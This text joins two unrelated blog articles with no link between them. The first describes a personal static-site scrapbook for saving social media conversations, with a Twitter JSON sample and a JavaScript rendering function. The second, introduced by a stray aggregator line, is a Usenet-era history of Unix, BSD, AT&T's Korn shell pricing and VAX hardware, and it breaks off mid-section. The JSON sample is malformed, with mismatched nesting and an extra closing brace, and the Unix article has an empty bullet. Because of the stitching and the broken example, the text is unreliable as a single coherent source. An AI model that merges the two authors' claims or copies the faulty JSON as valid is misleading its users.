Social media is fragile, and it can disappear quickly. Sites get sold , shut down or blocked . People close their accounts or flee the Internet . Posts get deleted , censored or lost by platforms that don’t care about permanence. We live in an era of abundant technology and storage, but the everyday record of our lives is disappearing before our eyes.

I want to remember social media, and not just as a vague memory. I want to remember exactly what I read, what I saw, what I wrote. If I was born 50 years ago, I’m the sort of person who’d keep a scrapbook full of letters and postcards – physical traces of the people who mattered to me. Today, those traces are digital.

I don’t trust the Internet to remember for me, so I’ve built my own scrapbook of social media. It’s a place where I can save the posts that shaped me, delighted me, or just stuck in my mind.

Four-columns of cards laid out, each with a coloured border and a snippet from a social media site. The screenshot includes tweets, photos, a some videos, and some art.
Each conversation appears as a little card, almost like a clipping from a magazine or newspaper. Most of my conversations are from Twitter, but I also have sites like Tumblr, YouTube, and Bluesky.

It’s a static site where I can save conversations from different services, enjoy them in my web browser, and search them using my own tags. It’s less than two years old, but it already feels more permanent than many social media sites. This post is the first in a three-part series about preserving social media, based on both my professional and personal experience.

Table of contents

The long road to a lasting archive

Before I ever heard the phrase “digital preservation”, I knew I wanted to keep my social media. I wrote scripts to capture my conversations and stash them away on storage I controlled.

Those scripts worked, technically, but the end result was a mess. I focusing on saving data, and organisation and presentation were an afterthought. I was left with disordered folders full of JSON and XML files – archives I couldn’t actually use, let along search or revisit with any joy.

I’ve tried to solve this problem more times than I can count. I have screenshots of at least a dozen different attempts, and there are probably just as many I’ve forgotten.

For the first time, though, I think I have a sustainable solution. I can store conversations, find them later, and the tech stack is simple enough to keep going for a long time. Saying something will last always has a whiff of hubris, especially if software is involved, but I have a good feeling.

Looking back, I realise my previous attempts failed because I focused too much on my tools. I kept thinking that if I just picked the right language, or found a better framework, or wrote cleaner code, I’d finally land on a permanent solution. The tools do matter – and a static site will easily outlive my hacky Python web apps – but other things are more important.

What I really needed was a good data model. Every earlier version started with a small schema that could hold simple conversations, which worked until I tried to save something more complex. Whenever that happened, I’d make a quick fix, thinking about the specific issue rather than the data model as a whole. Too many one-off changes and everything would become a tangled mess, which is usually when I’d start the next rewrite.

This time, I thought carefully about the shape of the data. What’s worth storing, and what’s the best way to store it? How do I clean, validate, and refine my data? How do I design a data schema that can evolve in a more coherent way? More than any language or framework choice, I think this is what will finally give this project some sticking power.


How it works

A static site, viewed in the browser

I store metadata in a machine-readable JSON/JavaScript file, and present it as a website that I can open in my browser. Static sites give me a lightweight, flexible way to save and view my data, in a format that’s widely supported and likely to remain usable for a long time.

This is a topic I’ve written about at length , including a detailed explanation of my code.

Conversations as the unit of storage

Within my scrapbook, the unit of storage is a conversation – a set of one or more posts that form a single thread. If I save one post in a conversation, I save them all. This is different to many other social media archives, which only save one post at a time.

The surrounding conversation is often essential to understanding a post. Without it, posts can be difficult to understand and interpret later. For example, a tweet where I said “that’s a great idea!” doesn’t make sense unless you know what I was replying to. Storing all the posts in a conversation together means I always have that context.

A different data model and renderer for each site

A big mistake I made in the past was trying to shoehorn every site into the same data model.

The consistency sounds appealing, but different sites are different. A tweet is a short fragment of plain text, sometimes with attached media. Tumblr posts are longer, with HTML and inline styles. On Flickr the photo is the star, with text-based metadata as a secondary concern.

It’s hard to create a single data model that can store a tweet and a Tumblr post and a Flickr picture and the dozen other sites I want to support. Trying to do so always led me to a reductive model that over-simplified the data.

For my scrapbook, I’m avoiding this problem by creating a different data model for each site I want to save. I can define the exact set of fields used by that site, and I can match the site’s terminology.

Here’s one example: a thread from Twitter, where I saved a tweet and one of the replies. The site , id , and meta are common to the data model across all sites, then there are site-specific fields in the body – in this example, the body is an array of tweets.

{
  "site": "twitter",
  "id": "1574527222374977559",
  "meta": {
    "tags": ["trans joy", "gender euphoria"],
    "date_saved": "2025-10-31T07:31:01Z",
    "url": "https://www.twitter.com/alexwlchan/status/1574527222374977559"
  },
  "body": [
    {
      "id": "1574527222374977559",
      "author": "alexwlchan",
      "text": "prepping for bed, I glanced in a mirror\n\nand i was struck by an overwhelming sense of feeling beautiful\n\njust from the angle of my face and the way my hair fell around over it\n\ni hope i never stop appreciating the sense of body confidence and comfort i got from Transition 🥰",
      "date_posted": "2022-09-26T22:31:57Z"
    },
    {
      "id": "1574527342470483970",
      "author": "oldenoughtosay",
      "text": "@alexwlchan you ARE beautiful!!",
      "date_posted": "2022-09-26T22:32:26Z",
      "entities": {
          "hashtags": [],
          "media": [],
          "urls": [],
          "user_mentions": ["alexwlchan"]
        },
        "in_reply_to": {
          "id": "1574527222374977559",
          "user": "alexwlchan"
        }
      }
    }
  ]
}

If this was a conversation from a different site, say Tumblr or Instagram, you’d see something different in the body .

I store all the data as JSON, and I keep the data model small enough that I can fill it in by hand.

I’ve been trying to preserve my social media for over a decade, so I have a good idea of what fields I look back on and what I don’t. For example, many social media websites have metrics – how many times a post was viewed, starred, or retweeted – but I don’t keep them. I remember posts because they were fun, thoughtful, or interesting, not because they hit a big number.

Writing my own data model means I know exactly when it changes. In previous tools, I only stored the raw API response I received from each site. That sounds nice – I’m saving as much information as I possibly can! – but APIs change and the model would subtly shift over time. The variation made searching tricky, and in practice I only looked at a small fraction of the saved data.

I try to reuse data structures where appropriate. Conversations from every site have the same meta scheme; conversations from microblogging services are all the same (Twitter, Mastodon, Bluesky, Threads); I have a common data structure for images and videos.

Each data model is accompanied by a rendering function, which reads the data and returns a snippet of HTML that appears in one of the “cards” in my web browser. I have a long switch statement that just picks the right rendering function, something like:

function renderConversation(props) {
    switch(props.site) {
        case 'flickr':
            return renderFlickrPicture(props);
        case 'twitter':
            return renderTwitterThread(props);
        case 'youtube':
            return renderYouTubeVideo(props);
        
    }
}

This approach makes it easy for me to add support for new sites, without breaking anything I’ve already saved. It’s already scaled to twelve different sites (Twitter, Tumblr, Bluesky, Mastodon, Threads, Instagram, YouTube, Vimeo, TikTok, Flickr, Deviantart, Dribbble), and I’m going to add WhatsApp and email in future – which look and feel very different to public social media.

I also have a “generic media” data model, which is a catch-all for images and videos I’ve saved from elsewhere on the web. This lets me save something as a one-off from a blog or a forum without writing a whole new data model or rendering function.

Keyword tagging on every conversation

I tag everything with keywords as I save it. If I’m looking for a conversation later, I think of what tags I would have used, and I can filter for them in the web app. These tags mean I can find old conversations, and allows me to add my own interpretation to the posts I’m saving.

This is more reliable than full text search, because I can search a consistent set of terms. Social media posts don’t always mention their topic in a consistent, easy-to-find phrase – either because it just didn’t fit into the wording, or because they’re deliberately keeping it as subtext. For example, not all cat pictures include the word “cat” , but I tag them all with “cats” so I can find them later.

I use fuzzy string matching to find and fix mistyped tags.

Metadata in JSON/JavaScript, interpreted as a graph

Here’s a quick sketch of how my data and files are laid out on disk:

scrapbook/
 ├─ avatars/
 ├─ media/
 │   ├─ a/
 │   └─ b/
 │      └─ bananas.jpg
 ├─ posts.js
 └─ users.js

This metadata forms a little graph:

posts.js media users.js avatars

All of my post data is in posts.js , which contains objects like the Twitter example above.

Posts can refer to media files, which I store in the media/ directory and group by the first letter of their filename – this keeps the number of files in each subdirectory manageable.

Posts point to their author in users.js . My user model is small – the path of an avatar image in avatars/ , and maybe a display name if the site supports it.

Currently, users are split by site, and I can’t correlate users across sites. For example, I have no way to record that @alexwlchan on Twitter and @alex@alexwlchan.net on Mastodon are the same person. That’s something I’d like to do in future.

A large suite of tests

I have a test suite written in Python and pytest that checks the consistency and correctness of my metadata. This includes things like:

  • My metadata files match my data model
  • Every media file described in the metadata is saved on disk, and every media file saved on disk is described in the metadata
  • I have a profile image for the author of every post that I’ve saved
  • Every timestamp uses a consistent format
  • None of my videos are encoded in AV1 (which can’t play on my iPhone)

I’m doing a lot of manual editing of metadata, and these tests give me a safety net against mistakes. They’re pretty fast, so I run them every time I make a change.


Inspirations and influences

The static website in Twitter’s first-party archives

Pretty much every social media website has a way to export your data, but some exports are better than others. Some sites clearly offer it reluctantly – a zip archive full of JSON files, with minimal documentation or explanation. Enough to comply with data export laws , but nothing more.

Twitter’s archive was much better. When you downloaded your archive, the first thing you’d see was an HTML file called Your archive.html . Opening this would launch a static website where you could browse your data, including full-text search for your tweets:

Homepage of the Twitter archive. It says ‘Hi @alexwlchan. Here is the information from your archive which may be most useful to you.’ Below that are summary metrics – 40.3K tweets, 54.2K likes, 2,727 blocked accounts, and so on – which link to a page where I can see the tweets/likes/blocked accounts. Search results in the Twitter archive. I’ve searched for the hashtag #digipres and it’s showing me three of my tweets, which more beyond the end of the page. I can also filter by replies or retweets, and there are controls for more sophisticated filtering.
Fun fact: although Elon Musk has rebranded Twitter as X , the old name survives in these archive exports. If you download your archive today, it still talks about Twitter!

This approach was a big inspiration for me, and put me on the path of using static websites for tiny archives . It’s a remarkably robust piece of engineering, and these archives will last long after Twitter or X have disappeared from the web.

The Twitter archive isn’t exactly what I want, because it only has my tweets. My favourite moments on Twitter were back-and-forth conversations, and my personal archive only contains my side of the conversation. In my custom scrapbook, I can capture both people’s contributions.

Data Lifeboat at the Flickr Foundation

Data Lifeboat is a project by the Flickr Foundation to create archival slivers of Flickr. I worked at the Foundation for nearly two years, and I built the first prototypes of Data Lifeboat. I joined because of my interest in archiving social media, and the ideas flowed in both directions: personal experiments informed my work, and vice versa.

Data Lifeboat and my scrapbook differ in some details, but the underlying principles are the same.

One of my favourite parts of that work was pushing static websites for tiny archives further than I ever have before. Each Data Lifeboat package includes a viewer app for browsing the contents, which is a static website built in vanilla JavaScript – very similar to the Twitter archive. It’s the most complex static site I’ve ever built, so much so that I had to write a test suite using Playwright .

That experience made me more ambitious about what I can do with static, self-contained sites.

My web bookmarks

Earlier this year I wrote about my bookmarks collection , which I also store in a static site. My bookmarks are mostly long-form prose and video – reference material with private notes. The scrapbook is typically short-form content, often with visual media, often with conversations I was a part of. Both give me searchable, durable copies of things I don’t want to lose.

I built my own bookmarks site because I didn’t trust a bookmarking service to last; I built my social media scrapbook because I don’t trust social media platforms to stick around. They’re two different manifestations of the same idea.

Tapestry, by the Iconfactory

Tapestry is an iPhone app that combines posts from multiple platforms into a single unified timeline – social media, RSS feeds, blogs. The app pulls in content using site-specific “connectors” , written with basic web technologies like JavaScript and JSON.

Tapestry screenshot. This is the All Feeds view, where you can see a post from Tumblr, Bluesky, Mastodon, and my blog, all in the same timeline.

Although I don’t use Tapestry myself, I was struck by the design, especially the connectors. The idea that each site gets its own bit of logic is what inspired me to consider different data models for each site – and of course, I love the use of vanilla web tech.

When I embed social media posts on this site, I don’t use the native embeds offered by platforms, which pull in megabytes of of JavaScript and tracking. Instead, I use lightweight HTML snippets styled with my own CSS, an idea I first saw on Dr Drang’s site over thirteen years ago .

The visual appearance of these snippets isn’t a perfect match for the original site, but they’re close enough to be usable. The CSS and HTML templates were a good starting point for my scrapbook.


You can make your own scrapbook, too

I’ve spent a lot of time and effort on this project, and I had fun doing it, but you can build something similar with a fraction of the effort. There are lots of simpler ways to save an offline backup of an online page – a screenshot, a text file, a printout.

If there’s something online you care about and wouldn’t want to lose, save your own copy. The history of the Internet tells us that it will almost certainly disappear at some point.

The Internet forgets, but it doesn’t have to take your memories with it.

One too many words on AT&T's $2,000 Korn shell and other Usenet topics

Lobsters
blog.gabornyeki.com
2025-12-08 10:44:35
Comments...
Original Article

Usenet provides a window into the Unix and BSD systems of the 1980s, and some of the hardware that they ran on. Discussions were slow. Computers were expensive. GNU Emacs was big. AT&T charged a lot of money. Usenet was fun.

Unix has been enormously successful over the past 55 years.

It started out as a small experiment to develop a time-sharing system (i.e., a multi-user operating system) at AT&T Bell Labs. 1 The goal was to take a few core principles to their logical conclusion. 2 The OS bundled many small tools that were easy to combine, as it was illustrated by a famous exchange between Donald Knuth and Douglas McIlroy in 1986. Today, Unix lives on mostly as a spiritual predecessor to Linux, Net/Free/OpenBSD, macOS, 3 and arguably, ChromeOS and Android.

Usenet tells us about the height of its early popularity.

A casual economics of Unix

Unix was not the product of a competitive market.

First of all, AT&T was a monopoly. It had the opportunity to allocate a share of its monopoly rent to Bell Labs, concentrating funding toward experimental projects like early Unix.

But AT&T was also a regulated monopoly. It was allowed to be a monopoly in telecom but prohibited from operating a non-telecom business. This prevented AT&T from commercializing Unix. Instead, it offered a source license to universities at a relatively low fee.

At the same time, universities and the US government (specifically ARPA) had a shared desire for a flexible and portable operating system. Funding from the Department of Defense allowed UC Berkeley’s CSRG to pay graduate students to build such an OS upon AT&T’s codebase. The resulting OS was called Berkeley Software Distribution, or BSD.

BSD was really good. It pushed the envelope on what Unix could be, and AT&T eventually had to adopt BSD improvements and extensions like demand paging ( mentioned later ), disk quotas, sockets, job control, or the Vi editor ( mentioned later ), because AT&T’s home-grown System III and System V were too limited without them.

Photo of a VAX-11/780 from a brochure

The VAX-11/780, the machine on which BSD development began in earnest.

BSD got widely adopted in the 1980s by universities and research institutions. It was seen as a superior development environment, and vendors, even some big ones like DEC and Sun, based their Unix variants on it. 4 Parts of the codebase were also lifted or copied by commercial vendors. Most famous among these is the TCP/IP stack.

BSD sockets became the de facto standard API for exposing networking capabilities to application programmers. Compatibility with it was a design goal for Microsoft’s Winsock API, which was how Windows NT could ship direct ports of some BSD userland utilities. 5 Apple (and originally, I imagine, NeXT) went even further and based MacOS X’s entire TCP/IP stack on the BSD codebase. 6 And eventually, the BSD sockets API made it into the POSIX standard.

The foundations laid with ARPA’s funding enabled new experiments to flourish. Several network protocols or their dominant implementations began life on BSD:

  • Sendmail, a mail server, first shipped with 4.1cBSD, a preview release of 4.2BSD, in 1983. It was the most popular SMTP server in the 1990s, and still prominent through the early 2000s.
  • The Berkeley Internet Name Domain (BIND) implements the DNS protocol. Its first release was part of 4.3BSD and, at least as of 2015, it still appeared to be the most popular DNS server.
  • The Network News Transfer Protocol (NNTP) made discussion groups accessible via TCP/IP, before Gopher or HTTP existed. 7 It was proposed by two students at UCSD and UC Berkeley in 1986, and its reference implementation shipped with 4.3BSD .
  • The timed daemon implements the Time Synchronization Protocol, a precursor to the now-widespread Network Time Protocol (NTP). It first shipped with 4.3BSD.

Of course, not everything network-related originates with BSD. For four prominent examples, the first prototype of an Internet Relay Chat (IRC) server was built on a Sun-3 , the first prototype of HTTP was built on a NeXT, and the first implementations of POP and IMAP were not even written on Unix but on TOPS-20 ( mentioned later ). SunOS, NeXTSTEP, and TOPS-20 were all proprietary operating systems.

But it is clear that the Berkeley flavor of Unix created an environment of freedom that fostered practical experimentation, largely detached from market forces.

Jon Hall and his Jeep Wrangler showing a license plate that reads 'UNIX'

Jon Hall with his New Hampshire license plate that reads “Unix,” alongside the state motto, “Live Free or Die.” He originally got the plate in 1989. (Source: Nashua Telegraph, cited by Éric Lévénez in 2009 .)

I think that by the 2000s, it was Linux that continued the ethos of practical experimentation, although in a very different economic environment. But the 2000s are much too recent to dwell on them.

What did computing look like in the 1980s, at the height of the Unix era?

Culture

Vernacular differences

When Usenet started in 1980, it was one of the first systems 8 that allowed strangers to communicate with each other. Public bulletin boards appeared around the same time but those were more geographically localized.

Usenet was a decentralized network consisting of sites, and messages propagated as sites polled each other for updates. Messages were addressed to newsgroups, like net.unix-wizards , comp.lang.c , or comp.bugs.2bsd . These were similar to the later concept of mailing lists.

The early vernacular was peculiar in a few ways.

  • Articles. It befits the idea of a newsgroup that messages were called articles. Early on, users occasionally even spoke of each other in the third person when sending replies, 9 in keeping with the idea of a news article addressed to the group.
  • Wizards. In Unix circles, people who were particularly knowledgeable about the ins and outs of the system were called wizards. In my reading, the word is pretty much synonymous with guru which was also in common use.
  • Hack.
  • Online. This word originally meant something like “at the computer terminal,” not “via a network connection” like today. 10
    • The original usage is also evident in the enduring description of digital user manuals as on-line manual pages ( 4.3BSD-Reno , 1990; Slackware 3.1 , 1995; MINIX 3.3.0 , 2014; macOS 26.0 , 2025) and online help files ( Windows 3.0 , 1990).
    • Using online to mean “via a network connection” would have been too ambiguous. In the 1980s, there was no single computer network that everyone would connect to. Instead, there were people who connected to specific Usenet sites via dial-in and downloaded software and followed discussions that way, and others who also had access to ARPANET or NSFNET and could use FTP and, by the late 1980s, NNTP.
    • The shift in meaning took until the 1990s, when the internet became available to the wider public.
  • Upward compatibility. When comparing two versions of the same software, people preferred to speak of upward (i.e., forward ) rather than backward compatibility. Although sometimes they may have done so by mistake.
  • Flaming. People regularly spoke of flaming each other or a piece of software like MS-DOS. Flame wars are still talked about today, but flame as a verb has gone extinct.
  • Trolling. This word did not exist, even though trolls most assuredly did.

Flame wars took days or weeks to unfold

Flame wars were more like smolder wars. Discussions, even heated ones, typically developed over days if not weeks. This was because each article in a reply chain could take a day or longer to propagate to readers.

Usenet was a decentralized network of sites, a little like today’s Fediverse. During the early years, each site had to periodically download the latest articles from other sites, typically via dial-up. This sometimes meant polling hourly , three times a day , twice a day , or daily / nightly . But there were sites that had even more latency. When Australia got connected to Usenet in 1983, the Sydney site had the articles delivered by airmail on a weekly schedule.

As a consequence, quick throw-away quips were a little more rare. Longer messages with better-developed arguments were a little more commonplace.

Business

Old computers were sold for a long time, despite Moore’s law

Moore’s law was already in effect in the 1970s when 32-bit computers became available. Then through the 1980s, memory, storage, and computing capacity all vastly increased. This was not a negligible development.

For one thing, the PDP-11, a series of 16-bit minicomputers introduced in 1970, had a logical address space limited to 64 KB of memory. The physical address space could be expanded to 18 bits (256 KB) or 22 bits (4 MB) via virtual addressing, but accessing the additional memory regions was cumbersome because it required switching out the memory mapping table.

Yet the PDP-11 remained an important revenue source for DEC throughout the 1980s. As Edward F. Beadel Jr. of SUNY Oswego wrote in 1989:

Last year about 1/3 of DEC’s bucks came from PDP-11 and related sales and services. There are still many many users out there.

The architecture’s enduring popularity was mirrored by the Berkeley source releases. 2.11BSD , the last of the 2BSD branch which existed to backport 32-bit BSD features like a TCP/IP stack to the PDP-11, came out in 1991.

This may sound like a surprising defiance of Moore’s law. But what kept the PDP-11 alive despite its limitations was that computers were still very expensive.

When personal computers first appeared in the 1970s, they were anything but affordable. For example, the Altair 8800, the machine for which Microsoft wrote its first product, an implementation of BASIC, cost the equivalent of $4,000 in today’s terms. The original Apple II was even more expensive, equivalent to almost $7,000. And both of these were 8-bit computers.

Historically significant computers and what they would cost today
Model Year Description Price (US) In 2025 dollars
PDP-7 1965 18-bit minicomputer $72,000 $736,435
PDP-10/10 1967 36-bit mainframe $110,000 11 $1,062,711
PDP-11/20 1970 16-bit minicomputer $10,800 $89,647
Altair 8800 1974 8-bit home computer $621 (assembled) $4,059
Apple II 1977 8-bit home computer $1,298 $6,902
VAX-11/780 1977 32-bit superminicomputer $120,000 12 $638,078
Commodore 64 1982 8-bit home computer $595 $1,987
Macintosh 128K 1984 16/32-bit home computer $2,495 $7,740
IBM PC AT 1984 16-bit workstation $3,995 $12,394
AT&T UNIX PC 1985 16/32-bit workstation $5,095 $15,265
Amiga 500 1987 16/32-bit home computer $699 $1,983

Enterprise computers, like the PDP-11 and its 32-bit successor, the VAX-11, were much much more expensive. The PDP-11/20, the machine on which Unix took off in the early 1970s, cost nearly $90,000 in 2025 dollars. The VAX-11/780, the first of the VAX-11 series, cost the equivalent of $638,000.

Software for these computers was expensive, too. Frank R. Borger of the now sadly defunct Michael Reese Hospital wrote about this problem in a letter to a magazine called DEC Professional, probably in 1986 or 1987. BASIC, Fortran, and Pascal compilers were much more expensive for the VAX-11 than for the PDP-11:

If I were to buy three packages for a small VAX versus a Q-bus PDP-11, I would spend approximately $16,700 for the VAX software, $9,000 for the UNIBUS PDP-11 software, and only $3,600 for the Q-bus PDP-11 software. Prices for software maintenance are similarly cheaper.

When DEC tells me that it will upgrade me from a MICROPDP-11 to a MlCROVAX for $18,000 (Fall 1986 direct Update), it doesn’t mention the $13,000 difference in software costs.

[…]

Finally, there are many cases when a PDP-11 has sufficient capacity for a given job: A system often can be put together for half the cost of an equivalent VAX. That’s why PDP-11s will be around for a long time.

As a consequence, many customers preferred the older machines.

However, DEC made sure that upgrading to the VAX was as pain-free as possible. VAX machines had a hardware compatibility mode for the PDP-11. This enabled 4BSD systems to run old V6 and V7 binaries using Arthur W. Wetzel’s emulation layer which translated legacy system calls into modern ones. 13

Compatibility was a prudent strategy. It extended the lifespan of PDP-11 software, and gave customers an upgrade path to more modern systems while keeping their support contracts with DEC. Without a doubt, this stretched the company’s lifeline all the way into the 1990s, when it finally succumbed to the wildly more affordable x86-based PCs.

AT&T charged $2,000/site for the Korn shell

The Korn shell appeared in 1985, and by popular consensus, it was really good. But it was also really expensive, leaving many of its would-be users mere admirers.

During the first decade of Unix, the shell was by no means a pleasant experience. The default shell was the Thompson shell, which was then replaced by the Bourne shell in V7, and neither were comfortable for interactive use. For example, neither had:

  • command-line editing (like readline ),
  • tab-completion for filenames and commands,
  • ~ as a shortcut for $HOME and ~user as a shortcut for the home directory of user ,
  • command aliases,
  • shell history, or
  • job control.

Although Bill Joy’s C shell implemented some of these features in 3BSD, and support for job control was added by Jim Kulp in 4.1BSD, David Korn’s shell quickly became a coveted alternative.

David Korn, the creator of the Korn shell

David Korn, the creator of the Korn shell. (Source: David Korn, 1998 or earlier .)

The C shell had several characteristics that left users wanting:

  1. Its C-inspired syntax broke backward compatibility with the Bourne shell. 14
  2. As far as I can tell, command-line editing was completely missing.
  3. Filename and command name completion was completely missing. Tab-completion (actually, ESC-completion) was added in 1983 by the tcsh variant which was made by Ken Greer while at Carnegie Mellon. 15
  4. By some reports, it was slower than the Bourne shell, but this was debated. 16

The Korn shell had none of these problems. Two of its celebrated features were command-line editing, which it supported with both Emacs and Vi keybindings, and shell history. And AT&T tried to monetize this.

Randy King of AT&T jokingly paraphrased David Korn in March 1985 on net.unix :

Yes, ksh is available. No, it’s not $100,000K per cpu. As I understand it, it is $2K per site ; i.e. all of your CPU’s can have it for that one-time cost.

In particular, the Korn shell was made available via the AT&T toolchest which was an online storefront. K. Richard Magill indicated in February 1986 that it was accessible via dial-up with the cu utility:

The AT&T toolchest is a bulletin board style store that sells source for a number of things that AT&T doesn’t want to support. This includes ksh.

cu 1-201-522-6900

It will tell you all you care to know.

Of course, $2,000/site (around $6,000/site in 2025 dollars ) was a hefty fee for a shell. Gene Spafford of Georgia Tech was of the view that it was too hefty:

Counterpoint: Educational institutions pay $800 to get source licenses for Unix Sys V. Another $150 (?) will get a Berkeley distribution tape. Do you think many of us are going to pay $2000 for ksh? No! Nor are many of us going to shell out the bucks that AT&T is charging for the new uucp stuff. I don’t know about other places, but we can’t afford it here.

I guess many educational institutions, especially the public ones, will never find out if the Korn shell is all that great , or if Honey DanBer uucp is the niftiest thing since sliced yogurt. Whether that will affect the future market for other AT&T goodies is beyond my ability to forsee.

In response, Griff Smith of AT&T Bell Labs called Georgia Tech a “shoestring operation” for not being able to afford the Korn shell:

I suppose the “software for the people” contingent will rise in righteous indignation, but…

Assuming that the current academic price for System V is still $800, we are still giving it away. If your school can’t afford normal commercial software prices for at least some key utilities, it must be a shoestring operation. When I was at the University of Pittsburgh, it was “business as usual” to shell out about $5000/year for a software maintenance contract; we had to pay $10000 for the “virtual memory” upgrade for our TOPS-10 operating systems. Any useful software product usually cost us at least $1000, and some were in the $5000 to $10000 range. A large product such as DISSPLA/TEL-A-GRAF had a special educational rate of “only” $20000; the commercial rate was at least $80000.

Smith did mention that the Korn shell had also gained support for job control which would have made it more attractive to BSD users. Previously, only the C shell supported job control.

The Korn shell is a good product! I used csh for a year; then Dave finally added BSD (i. e. real) job control and command edit mode to ksh. I switched, and haven’t looked back. Given the improvements it can add to your computing environment, the price is low by commercial standards.

But universities like Georgia Tech were not the only sites for which the price was not right. Dave Ihnat of Analyst International Corporation agreed that the Korn shell was great:

In his article, Randy King apologetically praises Dave’s ksh . No apology is needed; it’s truly an outstanding product, and deserves whatever praise it gets. While I was on contract at Bell Labs, I used it extensively; now that my contract is over, I miss it intensely. But I do have to take exception with the claim that it’s available.

But he considered it so unjustifiably expensive as to be unavailable. Customers couldn’t simply buy a source license for the Korn shell either. They had to also buy a source license for the whole OS which, as I understand it, cost tens of thousands of dollars:

Yes, it now can be bought; but , according to the “AT&T Toolchest”, which I called just to make sure I’m not mistaken, it’s $2000 per site for a source license, and $20000 for a vendor license for object redistribution. Also, not mentioned by the Toolchest, but certified as applicable by another source, is that you must have a System V source license to buy the source.

I’m sorry, but I hate to break it to AT&T that most sites don’t need or want System V source licenses. Many purchase a machine for which a vendor has done the port; they can afford the object license, but as businesses have neither need, desire, nor cash to buy their own source license–let the vendor fix bugs. Yet, at $20000, the vendors are going to have to charge a substantial sum to recoup their loss on the ksh source. Try to explain to a bursar or comptroller why you want to spend hundreds to thousands of dollars on a new shell –I dare you. The fact of the matter is that, whether we like it or not, it’ll be darn hard to justify significant cash expenditure for a tool which will replace a tool which is currently doing the job, be it ‘sh’ or ‘csh’.

The same applies for the honey-danber uucp package (which, I was surprised to note, is not offered on the Toolchest menu). Apparently, $2000/object license (could someone verify–is that per machine , or organization ? In any case, it’s extreme). Again, try to justify that type of cash outlay to an organization which has a tool that works already. Yes, I have to nurse it, watch it, and beat on it–but I’m already doing that, and we’re getting our mail and uucp traffic, sooner or later.

Ihnat pointed out that AT&T’s pricing strategy was undermining its goal of selling their supermicrocomputers to small businesses and individuals:

All of the preceeding totally ignores the fact that the number of Venix- and Xenix-based small Unix(Tm) systems, owned by both individuals and businesses, is huge, and that AT&T is agressively marketing the 3B2. Obviously, the average individual cannot afford a source license, or a $2000 object license , or…

Finally, I question the propriety of overcharging in the extreme for the practice of, effectively, offering corrected versions of products which are already provided with the existing software, but are so bug-ridden as to be apocryphal.

No…I don’t think that ksh (or, for that matter, honey-danber uucp) is really available to Unix users yet. As I said before, I applaud the efforts of Dave, Pete, Dan, and Brian; “they done good, real good”. And I can understand that it’s difficult for AT&T to figure out immediately what is the best marketing strategy, after so many years as a regulated monopoly. But, in the end, I’m the one with a Unix machine at work, and one at home, and can’t justify the cash outlay for the tools at work, and can’t afford it at home ; and that’s the bottom line. If it’s not affordable, it’s not available.

[…]

This pricing strategy is part of why we have bash (1989), pdksh ( 1989? ), zsh (1990), OpenBSD ksh (1995?), and mksh ( 2002? or 2006? ), among other shells that also cloned or took deep inspiration from the original Korn shell. Eventually, AT&T’s ksh was also open sourced, in 2000.

Software vendors were in dire need of a Unix standard

The multitude of Unix variants was truly bewildering. The situation was so bad that it posed a coordination problem for application developers.

For example, at least four different variants existed for the Intel 80286 processor as of 1985. Microsoft’s Xenix was one of those four, so naturally, Bill Gates had an opinion on this. He said that binary compatibility across the 80286 Unix variants was a prerequisite for commercial success .

This claim was at least a little bit controversial. Unix wizards were used to software distributed as source code that they then needed to port and compile for their own systems. It was considered normal to have to iron out bugs and add desired functionality by modifying the source. From this perspective, what mattered was source compatibility. If 90 percent of all code compiled, and the rest could be easily ported, that was good enough.

But Larry Campbell , an application developer, explained that binary compatibility was the only way to the mass market:

A software vendor can write a program for the […] IBM PC architecture , and can be assured that the executable binary will run on over TWO MILLION MACHINES. That’s two million potential customers, folks.

Now, sure, software vendors could just ship sources in shar archives… on 69 different types of media… and let the customers compile it… and maybe it would compile everywhere… and maybe nobody would rip off the source code and resell it… But let’s get serious. End users neither want nor need source code, nor compilers, nor shar archives, nor any of that crap. They want to buy a little black biscuit with bits on it that just plugs into their little 16-bit toaster and does their application , right out of the box, no compilation or customization or messing around required.

[…]

You need to have a single (or at least a dominant) binary format and media standard because dealers and distributors cannot afford to stock 69 different versions of each product. […] There’s no good reason, for instance, that Xenix, Venix, and PC/IX couldn’t use the same register conventions and same a.out (x.out) formats and the same system call numbers.

[…]

He concluded with a pithy summary:

Yes, I prefer Unix. But I also prefer large quantities of money to smaller ones. That’s why I develop software for the IBM PC.

The problem was not limited to the 80286. The Motorola 68000 (or m68k) was maybe even worse. Michael Tilson of the HCR Corporation emphasized that building, testing, and distributing separate binaries for each Unix variant for the m68k was prohibitively costly:

Distribution in source code form is not the answer for commercial software. One could imagine software vendors who sell source code only, but this is not practical for most vendors. Software is already easy to steal, and unlimited distribution of source code is almost a license to steal (it certainly requires a much larger policing effort.) Most software vendors make their living selling binary copies, with only the occasional source code sale. If the software could be protected, most would be happy to sell source only, but it can’t and they don’t. There are technical problems as well – you want to sell a program that you know will run. If you haven’t actually compiled it on the target machine, you don’t know what compiler bugs you might hit, etc. (Note: Please no flames about the moral wrongness of binary code. In our economic and legal system, binary code will continue to be the norm, even if some think it wrong.)

Therefore vendors sell binary code. As a software vendor, we at HCR find the multiplicity of machines to be a real pain. We can live with the fact that you must make a 68000 version and a VAX version of a program, but it is very costly to make 10 different 68000 versions. A binary standard would eliminate needless duplication effort. As software companies go, we are fairly big (60 people using almost $1,000,000 worth of computer equipment) but we can’t afford to deal with all of these formats. Therefore we are targeting our new products to a few “winner” machines.

Perhaps Tilson exaggerated when he wrote “10 different 68000 versions,” but not by much. The m68k was a popular architecture for workstations and home computers. HP, Sun, Microsoft, AT&T, Silicon Graphics, NeXT, and Apple, as well as smaller companies like Datamedia Corp. and Pixel Computer Inc. , all made Unices or Unix-likes that ran on CPUs from this series. 17

On this scene, HCR may have been something of a Red Hat or SuSE for Unix, albeit closed source. It was described by Byte magazine in 1994 as the second firm to commercially support Unix. The computer equipment cost that Tilson cited translates to $50,000/person in 2025 dollars, which is not insubstantial. And HCR had the life arc of a successful startup: it was founded in 1976 and got acquired by SCO in 1990, to serve as their Canadian branch. Unfortunately, it then went defunct in 1996.

Hardware

Virtual memory was the hot new thing

The VAX-11/780 (1977), and the less powerful but smaller 11/750 (1980), were Unix workhorses through at least the mid-to-late-1980s.

The new VAX machines came with a memory management unit (MMU) that allowed kernels to implement virtual memory using demand paging. Demand paging is now standard, but it wasn’t in the 1970s. What it does is it lets running applications hold onto memory regions (pages) that are not actually in physical memory unless they are accessed (demanded).

Photo of a VAX-11/750

The VAX-11/750 supermini. (Photo credit: José Luis Echeveste, 1988. License: CC-BY-SA.)

